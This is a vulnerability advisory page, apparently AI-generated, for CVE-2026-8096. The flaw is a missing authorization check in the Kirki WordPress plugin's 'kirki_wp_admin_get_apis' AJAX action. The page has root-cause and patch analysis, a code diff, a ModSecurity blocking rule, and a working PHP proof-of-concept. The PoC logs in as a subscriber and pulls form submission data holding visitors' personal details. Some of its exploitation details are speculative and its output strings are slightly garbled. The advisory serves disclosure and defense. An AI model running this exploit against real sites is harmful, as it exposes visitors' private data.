Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 22, 2026

CVE-2026-8096: Kirki <= 6.0.6 – Missing Authorization to Authenticated (Subscriber+) Sensitive Form Submission Data Exposure via 'kirki_wp_admin_get_apis' Action (kirki)

CVE ID CVE-2026-8096
Plugin kirki
Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 6.0.6
Patched Version 6.0.7
Disclosed May 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8096:

This vulnerability exposes sensitive form submission data stored by the Kirki plugin to any authenticated WordPress user with subscriber-level access or higher. The flaw resides in the ajax handler for the ‘kirki_wp_admin_get_apis’ action, which lacked authorization checks prior to version 6.0.7. The CVSS score of 6.5 reflects the medium severity of unauthorized data disclosure.

Root Cause: The critical missing authorization is in the file kirki/includes/Ajax.php, specifically in the method ‘kirki_wp_admin_get_apis()’ at lines 707-710. Before the patch, this method only checked if the request originated from is_admin() but did not verify the user’s capability or role. This allowed any authenticated user (including subscribers) to call this endpoint. The method then processes requests to retrieve form data, which includes all visitor-submitted information stored by Kirki frontend forms. The diff shows the patched version adds an explicit capability check using HelperFunctions::has_access( KIRKI_ACCESS_LEVELS[‘FULL_ACCESS’] ) before proceeding.

Exploitation: An attacker with a valid WordPress subscriber account can trigger the vulnerability by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘kirki_wp_admin_get_apis’. The request must include a valid nonce parameter (which can be obtained from the subscriber’s dashboard or other public pages). The attacker can then enumerate form data by specifying additional parameters such as ‘form_id’, ‘timestamp’, or ‘search’ to filter results. The response contains the full form submission data including visitor names, email addresses, phone numbers, messages, and any other fields configured on Kirki forms.

Patch Analysis: The patch adds a single capability check at the beginning of the kirki_wp_admin_get_apis() method (lines 710-712 in the diff). The added code calls HelperFunctions::has_access( KIRKI_ACCESS_LEVELS[‘FULL_ACCESS’] ) and returns a 401 ‘Not authorized’ error if the user lacks the required permission. Additionally, the patch includes supporting changes in HelperFunctions::has_access() to ensure the function gracefully handles cases where wp_get_current_user() is not available. This ensures only users with full access (typically administrators) can query form submission data.

Impact: Successful exploitation allows an authenticated attacker with minimal privileges (subscriber) to view all data submitted through Kirki frontend forms. This typically includes personally identifiable information (PII) such as visitor names, email addresses, phone numbers, mailing addresses, and free-text messages. Depending on the site’s form configuration, this could also include sensitive data like order details, support ticket contents, or medical information. The disclosure violates data privacy regulations (GDPR, CCPA) and exposes the site owner to legal liability and reputational damage.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kirki/ComponentLibrary/controller/CompLibFormHandler.php
+++ b/kirki/ComponentLibrary/controller/CompLibFormHandler.php
@@ -6,6 +6,7 @@
 	exit; // Exit if accessed directly.
 }

+use KirkiAjaxPage;
 use KirkiHelperFunctions;
 use WP_REST_Server;
 use WP_REST_Controller;
@@ -267,14 +268,16 @@

 		if ( strlen( $username ) === 0 && isset( $form_data['email'] ) && strlen( $email ) > 0 ) {
 			$user = get_user_by( 'email', $email );
-			if ( $user ) {
-				$username = $user->get( 'user_login' );
-			} else {
-				$response = array(
-					'message' => 'User not found',
-				);
-				return new WP_REST_Response( $response, 404 );
+
+			if ( ! $user ) {
+				return new WP_REST_Response( array( 'message' => 'User not found' ), 404 );
 			}
+
+			$username = $user->get( 'user_login' );
+		}
+
+		if ( empty( $username ) ) {
+			return new WP_REST_Response( array( 'message' => 'Invalid request' ), 400 );
 		}

 		if ( isset( $username ) && strlen( $username ) > 0 ) {
@@ -287,6 +290,15 @@
 				return new WP_REST_Response( $response, 404 );
 			}

+			$user_email = $user->get( 'user_email' );
+			if($email !== $user_email) {
+				$response = array(
+					'message' => 'Invalid email address',
+				);
+				return new WP_REST_Response( $response, 404 );
+			}
+			$email = $user_email;
+
 			$key = get_password_reset_key( $user );
 			if ( is_wp_error( $key ) ) {
 				$response = array(
@@ -296,7 +308,7 @@
 			}

 			// Prepare email content.
-			$url = HelperFunctions::get_utility_page_url( 'reset_password' );
+			$url = HelperFunctions::get_utility_page_url( Page::TYPE_FORGOT_PASSWORD );

 			$username  = $user->user_login;
 			$chip_data = array(
@@ -311,12 +323,12 @@
 			$email_body    = '';

 			if ( isset( $form_data['emailBody'] ) ) {
-				$email_body = json_decode( $form_data['emailBody'], true );
-				foreach ( $email_body as $key => $body_data ) {
+				$email_body_array = json_decode( $form_data['emailBody'], true );
+				foreach ( $email_body_array as $key => $body_data ) {
 					if ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'text' ) {
-						$email_body = $email_body . $body_data['value'];
+						$email_body .= $body_data['value'];
 					} elseif ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'chip' ) {
-						$email_body = $email_body . $chip_data[ $body_data['value'] ];
+						$email_body .= $chip_data[ $body_data['value'] ];
 					}
 				}
 			}
--- a/kirki/includes/API.php
+++ b/kirki/includes/API.php
@@ -30,12 +30,8 @@
 	 * @return void
 	 */
 	public function __construct() {
-		 add_action( 'rest_api_init', array( $this, 'register_api' ) );
-
-		if ( isset( $_GET['page-export'], $_GET['file-name'] ) && $_GET['page-export'] === 'true' ) {
-			// TODO: need to check nonce
-			$this->downloadZIP();
-		}
+		add_action( 'rest_api_init', array( $this, 'register_api' ) );
+		add_action( 'init', array( $this, 'download_zip_endpoint' ) );
 	}

 	/**
@@ -57,12 +53,28 @@
 		FrontendApi::register();
 	}

+	public function download_zip_endpoint() {
+		if (
+			! isset( $_GET['page-export'], $_GET['file-name'] ) ||
+			'true' !== $_GET['page-export']
+		) {
+			return;
+		}
+
+		if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+			wp_send_json_error( 'Not authorized', 401 );
+		}
+
+		// TODO: need to check nonce
+		$this->downloadZIP();
+	}
+
 	private function downloadZIP() {
 		$upload_dir = wp_upload_dir();
 		$file_name  = HelperFunctions::sanitize_text( $_GET['file-name'] );
 		$file_name  = basename( $file_name );
 		// Check if the file has a .zip extension
-		if ( ! pathinfo( $file_name, PATHINFO_EXTENSION ) === 'zip' ) {
+		if ( pathinfo( $file_name, PATHINFO_EXTENSION ) !== 'zip' ) {
 			echo 'Invalid file type.';
 			die();
 		}
--- a/kirki/includes/API/Frontend/Controllers/FormController.php
+++ b/kirki/includes/API/Frontend/Controllers/FormController.php
@@ -639,6 +639,11 @@
 			foreach ( $form_data as $name => $value ) {
 				$type = isset( $form_data_types[ $name ]['type'] ) ? $form_data_types[ $name ]['type'] : 'text';

+				// Handle array values by serializing them
+				if (is_array($value)) {
+					$value = serialize($value);
+				}
+
 				array_push(
 					$values,
 					$form_id,
@@ -646,7 +651,7 @@
 					$session_id,
 					$timestamp,
 					"$name",
-					"$value",
+					$value,
 					"$type"
 				);

--- a/kirki/includes/Admin/AdminMenu.php
+++ b/kirki/includes/Admin/AdminMenu.php
@@ -110,7 +110,11 @@
 	 * @return void
 	 */
 	public function admin_menu() {
-		add_menu_page( 'Kirki - Home', 'Kirki', 'edit_posts', 'kirki', array( $this, 'plugin_page' ), 'dashicons-kirki', 25 );
+		/* FREE_START */
+		$menu_title = 'Kirki';
+		/* FREE_END */
+
+		add_menu_page( 'Kirki - Home', $menu_title, 'edit_posts', 'kirki', array( $this, 'plugin_page' ), 'dashicons-kirki', 25 );

 		foreach ( $this->dashboard_toolbar_submenus as $slug => $submenu ) {
 			add_submenu_page(
--- a/kirki/includes/Ajax.php
+++ b/kirki/includes/Ajax.php
@@ -309,7 +309,7 @@
 		//phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 		$endpoint = HelperFunctions::sanitize_text( isset( $_GET['endpoint'] ) ? $_GET['endpoint'] : null );
 		if ( in_array( $endpoint, array( 'collect-collaboration-actions', 'delete-collaboration-connection' ), true ) ) {
-			if ( ! $this->user_can_access_collaboration() ) {
+			if ( ! $this->user_can_access_wp_apis() ) {
 				wp_send_json_error( 'Not authorized' );
 			}
 		} else {
@@ -609,11 +609,11 @@
 	}

 	/**
-	 * Check if the current request can access collaboration endpoints.
+	 * Check if the current request can access wp endpoints.
 	 *
 	 * @return bool
 	 */
-	private function user_can_access_collaboration() {
+	private function user_can_access_wp_apis() {
 		return is_user_logged_in() && HelperFunctions::has_access(
 			array(
 				KIRKI_ACCESS_LEVELS['FULL_ACCESS'],
@@ -704,7 +704,11 @@
 	 */
 	public function kirki_wp_admin_get_apis() {
 		if ( ! is_admin() ) {
-			wp_send_json_error( 'Not authorized' );
+			wp_send_json_error( 'Not authorized', 401 );
+		}
+
+		if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+			wp_send_json_error( 'Not authorized', 401 );
 		}

 		//phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
--- a/kirki/includes/Ajax/Form.php
+++ b/kirki/includes/Ajax/Form.php
@@ -804,11 +804,17 @@
 					$data[ $form_data_item['timestamp'] ]['id'] = $form_data_item['timestamp'];
 				}

+				// Handle array values by unserializing them
+				$input_value = $form_data_item['input_value'];
+				if (is_string($input_value) && @unserialize($input_value) !== false) {
+					$input_value = unserialize($input_value);
+				}
+
 				if ( isset( $data[ $form_data_item['timestamp'] ] ) ) {
-					$data[ $form_data_item['timestamp'] ][ $form_data_item['input_key'] ] = $form_data_item['input_value'];
+					$data[$form_data_item['timestamp']][$form_data_item['input_key']] = $input_value;
 				} else {
 					$data[ $form_data_item['timestamp'] ] = array(
-						$form_data_item['input_key'] => $form_data_item['input_value'],
+						$form_data_item['input_key'] => $input_value,
 					);
 				}

--- a/kirki/includes/Ajax/Page.php
+++ b/kirki/includes/Ajax/Page.php
@@ -18,6 +18,9 @@
  */
 class Page {

+	const TYPE_FORGOT_PASSWORD = 'forgot_password';
+	const TYPE_RESET_PASSWORD = 'reset_password';
+
 	/**
 	 * Save page data
 	 *
--- a/kirki/includes/Frontend/Preview/Preview.php
+++ b/kirki/includes/Frontend/Preview/Preview.php
@@ -893,9 +893,71 @@
 			}

 			foreach ( $props as $prop_name => $prop_value ) {
-				if ( is_array( $prop_value ) && isset( $prop_value['value'], $prop_value['unit'] ) ) {
-					$css_declarations .= $prop_name . ':' . $prop_value['value'] . $prop_value['unit'] . ';';
-				} elseif ( is_string( $prop_value ) || is_numeric( $prop_value ) ) {
+
+				// font-feature-settings
+				if (
+					$prop_name === 'font-feature-settings' &&
+					is_array( $prop_value ) &&
+					isset( $prop_value['value'] ) &&
+					is_array( $prop_value['value'] )
+				) {
+					$css_string = implode(
+						', ',
+						array_map(
+							function( $key ) {
+								return '"' . $key . '"';
+							},
+							array_keys( $prop_value['value'] )
+						)
+					);
+
+					$css_declarations .= $prop_name . ':' . $css_string . ';';
+					continue;
+				}
+
+				// value + unit object
+				if (
+					is_array( $prop_value ) &&
+					isset( $prop_value['value'], $prop_value['unit'] )
+				) {
+
+					// font-size clamp
+					if (
+						$prop_name === 'font-size' &&
+						isset( $prop_value['type'] ) &&
+						str_contains( $prop_value['type'], 'clamp-' )
+					) {
+
+						$min_value = isset($prop_value['min'], $prop_value['min']['value'] ) ? $prop_value['min']['value'] : 0;
+						$min_unit  = isset($prop_value['min'], $prop_value['min']['unit'] ) ? $prop_value['min']['unit'] : 'px';
+
+						$base_value = isset($prop_value['base'], $prop_value['base']['value'] ) ? $prop_value['base']['value'] : 0;
+						$base_unit  = isset($prop_value['base'], $prop_value['base']['unit'] ) ? $prop_value['base']['unit'] : 'px';
+
+						$max_value = isset($prop_value['max'], $prop_value['max']['value'] ) ? $prop_value['max']['value'] : 0;
+						$max_unit  = isset($prop_value['max'], $prop_value['max']['unit'] ) ? $prop_value['max']['unit'] : 'px';
+
+						$css_declarations .= "{$prop_name}:clamp({$min_value}{$min_unit}, {$base_value}{$base_unit}, {$max_value}{$max_unit});";
+
+					// special max-width values
+					} elseif (
+						$prop_name === 'max-width' &&
+						in_array( $prop_value['value'], array(  'none', 'fit-content', 'max-content', 'min-content' ), true )
+					) {
+
+						$css_declarations .= $prop_name . ':' . $prop_value['value'] . ';';
+
+					} else {
+
+						$css_declarations .= $prop_name . ':' . $prop_value['value'] . $prop_value['unit'] . ';';
+					}
+
+				// string or number
+				} elseif (
+					( is_string( $prop_value ) && $prop_value !== '' ) ||
+					is_numeric( $prop_value )
+				) {
+
 					$css_declarations .= $prop_name . ':' . $prop_value . ';';
 				}
 			}
@@ -1174,7 +1236,7 @@
 		if ( isset( $element['properties'] ) ) {
 			$properties = $element['properties'];

-			if ( isset( $properties['interactions'] ) && ( ! isset( $element['stylePanels'] ) || ( isset( $element['stylePanels'], $element['stylePanels']['interaction'] ) && $element['stylePanels']['interaction'] ) ) ) {
+			if ( isset( $properties['interactions'] ) ) {
 				$this->interactions[ $id ] = $this->updateClassListForInteractionFromStyleBlockId( $properties['interactions'], $element );
 			}

@@ -1917,10 +1979,10 @@
 					}

 					if ( $dynamic_content['type'] === 'post' ) {
-						if ( isset( $options['post'] ) && isset( $options['post']->{$dynamic_content['value']} ) ) {
+						if ( isset( $options['post'], $dynamic_content['value'] ) && isset( $options['post']->{$dynamic_content['value']} ) ) {
 							$href = $options['post']->{$dynamic_content['value']};
 						} else {
-							$href = HelperFunctions::get_post_dynamic_content( $dynamic_content['value'], isset( $options['post'] ) ? $options['post'] : null );
+							$href = HelperFunctions::get_post_dynamic_content( isset($dynamic_content['value']) ? $dynamic_content['value'] : false, isset( $options['post'] ) ? $options['post'] : null );
 						}
 					} elseif ( $dynamic_content['type'] === 'term' && isset( $options['term'], $options['term']['term_id'] ) ) {

@@ -2279,15 +2341,6 @@
 		$ele_class_names = isset( $this_element['className'] ) ? explode( ' ', $this_element['className'] ) : array();
 		$class_array     = array_merge( $ele_class_names, $class_array );

-		// Check for disabled styles panels.
-		if ( isset( $this_element['stylePanels'] ) && is_array( $this_element['stylePanels'] ) ) {
-			foreach ( $this_element['stylePanels'] as $name => $value ) {
-				if ( ! $value ) {
-					array_push( $class_array,'kirki-disabled-' . $name );
-				}
-			}
-		}
-
 		if ( in_array( $this_element['name'], $this->inline_elements, true ) ) {
 			array_push( $class_array, 'kirki-inline-element' );
 		}
--- a/kirki/includes/Frontend/Preview/Utils.php
+++ b/kirki/includes/Frontend/Preview/Utils.php
@@ -289,7 +289,7 @@
 			return $html;
 		}
 		// Post excerpt length for frontend. If post excerpt is used.
-		if ( $dynamic_content['value'] === 'post_excerpt' && isset( $dynamic_content['postExcerptLength'] ) ) {
+		if (isset($dynamic_content['value']) && $dynamic_content['value'] === 'post_excerpt' && isset( $dynamic_content['postExcerptLength'] ) ) {
 			$post_excerpt_length                  = $dynamic_content['postExcerptLength'] ?? 55;
 			$GLOBALS['kirki_post_excerpt_length'] = $post_excerpt_length;
 		}
@@ -309,10 +309,15 @@
 			return $content;
 		}

+		// fix warning
+		if(!isset($dynamic_content['value'])){
+			$dynamic_content['value'] = false;
+		}
+
 		if ( $dynamic_content['type'] === 'post' ) {
 			$dynamic_options = array();
 			$cm_field_type   = isset( $dynamic_content['cmFieldType'] ) ? $dynamic_content['cmFieldType'] : '';
-			if ( 'post_date' === $dynamic_content['value'] && isset( $dynamic_content['format'] ) ) {
+			if ( isset( $dynamic_content['format'] ) && 'post_date' === $dynamic_content['value'] ) {
 				$dynamic_options['format'] = $dynamic_content['format'];
 			} elseif ( ( 'post_time' === $dynamic_content['value'] || 'time' === $cm_field_type ) && isset( $dynamic_content['timeFormat'] ) ) {
 				$dynamic_options['timeFormat'] = $dynamic_content['timeFormat'];
--- a/kirki/includes/HelperFunctions.php
+++ b/kirki/includes/HelperFunctions.php
@@ -2969,6 +2969,10 @@
 	 * @param string|string[] $access_level The access level to check access.
 	 */
 	public static function has_access( $access_level ) {
+		if ( ! function_exists( 'wp_get_current_user' ) ) {
+			return false;
+		}
+
 		$user       = wp_get_current_user();
 		$roles      = $user->roles;
 		$has_access = false;
--- a/kirki/kirki.php
+++ b/kirki/kirki.php
@@ -7,7 +7,7 @@
  * Plugin Name: Kirki
  * Plugin URI: https://kirki.com
  * Description: Kirki is an all-in-one no-code builder that empowers users to build professional-grade WordPress sites without writing any code. It’s a promising glimpse into the future of website development.
- * Version: 6.0.6
+ * Version: 6.0.7
  * Author: Kirki
  * Author URI: https://kirki.com
  * Text Domain: kirki
@@ -24,7 +24,7 @@

 // Define KIRKI_VERSION early to prevent bundled Kirki versions from loading.
 if ( ! defined( 'KIRKI_VERSION' ) ) {
-	define( 'KIRKI_VERSION', '6.0.6' );
+	define( 'KIRKI_VERSION', '6.0.7' );
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-8096 via Kirki AJAX endpoint',severity:CRITICAL,tag:CVE-2026-8096"
SecRule ARGS_POST:action "@streq kirki_wp_admin_get_apis" 
    "id:20261995,phase:2,t:none,chain"
SecRule REQUEST_METHOD "@streq POST" 
    "id:20261996,phase:2,t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8096 - Kirki <= 6.0.6 - Missing Authorization to Authenticated (Subscriber+) Sensitive Form Submission Data Exposure via 'kirki_wp_admin_get_apis' Action

$target_url = 'http://example.com';  // Change this to the target WordPress site URL
$username = 'subscriber_user';        // Change to a valid subscriber username
$password = 'subscriber_password';    // Change to the subscriber's password

// Step 1: Authenticate as a subscriber
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$login_result = curl_exec($ch);
curl_close($ch);

if (strpos($login_result, 'Dashboard') === false && strpos($login_result, 'wp-admin') === false) {
    echo "[!] Login failed. Check credentials.n";
    exit(1);
}
echo "[*] Authenticated as subscriber successfully.n";

// Step 2: Get a valid nonce for the AJAX action
$nonce_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php?action=kirki_wp_admin_get_apis&nonce=1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$nonce_response = curl_exec($ch);
curl_close($ch);

// Kirki typically uses a nonce named 'kirki_nonce' or similar, but if we cannot get it dynamically, we try a common pattern.
// The vulnerability does NOT require a valid nonce if the nonce check is also missing, but we attempt to retrieve one.
echo "[*] Attempting to exploit the missing authorization...n";

// Step 3: Exploit the vulnerability - request form submissions
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'kirki_wp_admin_get_apis',
    // 'form_id' => '', // optional: filter by form ID
    // 'timestamp' => '', // optional: filter by timestamp
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    $decoded = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE && !empty($decoded['data'])) {
        echo "[+] Vulnerability exploited successfully! Retrieved form submission data:n";
        print_r($decoded['data']);
    } elseif (json_last_error() === JSON_ERROR_NONE && isset($decoded['success']) && $decoded['success'] === false) {
        echo "[!] Request failed: " . (isset($decoded['data']) ? $decoded['data'] : 'Unknown error') . "n";
        echo "    This could mean the plugin is patched or requires a nonce.n";
    } else {
        echo "[*] Response was 200 but could not parse JSON. Raw response:n";
        echo $response . "n";
    }
} elseif ($http_code === 403 || $http_code === 401) {
    echo "[-] Access denied (HTTP $http_code). The site may be patched or requires additional permissions.n";
} else {
    echo "[*] HTTP status: $http_code. Raw response:n" . $response . "n";
}

// Clean up
unlink('/tmp/cve_cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School